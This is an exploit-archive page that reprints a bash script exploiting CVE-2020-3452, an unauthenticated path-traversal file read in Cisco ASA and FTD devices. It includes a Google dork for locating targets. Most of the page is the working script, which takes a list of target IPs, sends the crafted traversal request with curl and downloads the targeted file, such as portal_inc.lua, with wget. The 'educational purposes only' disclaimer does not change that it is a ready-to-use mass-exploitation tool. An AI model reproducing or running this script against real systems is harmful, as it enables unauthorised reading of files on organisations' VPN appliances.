Cisco adaptive security appliance software 9.11 local file inclusion Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-07-28 | Type : webapps | Platform : hardware
This exploit / vulnerability Cisco adaptive security appliance software 9.11 local file inclusion is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author: 0xmmnbassel
# Vendor Homepage: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
# Version: Cisco ASA Software >=9.14 except 9.11 Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file read
# CVE: CVE-2020-3452


#!/bin/bash


read="%2bCSCOE%2b/portal_inc.lua"


helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3452"
echo ""
echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
echo -e "\t-i for single IP test"
exit 1
}

while getopts "l:r:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
r ) read="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done



#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi

#usage


if [ -z "$website"];
then
while IFS= read -r line
do
name=$(echo $line | cut -c9-19)
#echo "testing $line"
filename="$name.txt"
#echo $response
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)

if [ $status -eq "400" ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else
wget "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt

if [ -s $filename ]; then
echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
echo "downloaded!, $line is vulnerable to CVE-2020-3452."

else
echo "not vulnerable!"
rm -rf $filename
fi
fi
done < "$input"
else

name=$(echo $website | cut -c9-16)
filename="$name.txt"

status=$(curl -LI $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -o /dev/null -w '%{http_code}\n' -s)
if [ $status -eq "Bad Request" ]; then
echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
else

echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
wget "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
if [ -s $filename ]; then
echo "downloaded!, $website is vulnerable to CVE-2020-3452."
else
echo "not vulnerable!"
rm -rf $filename
fi
fi

fi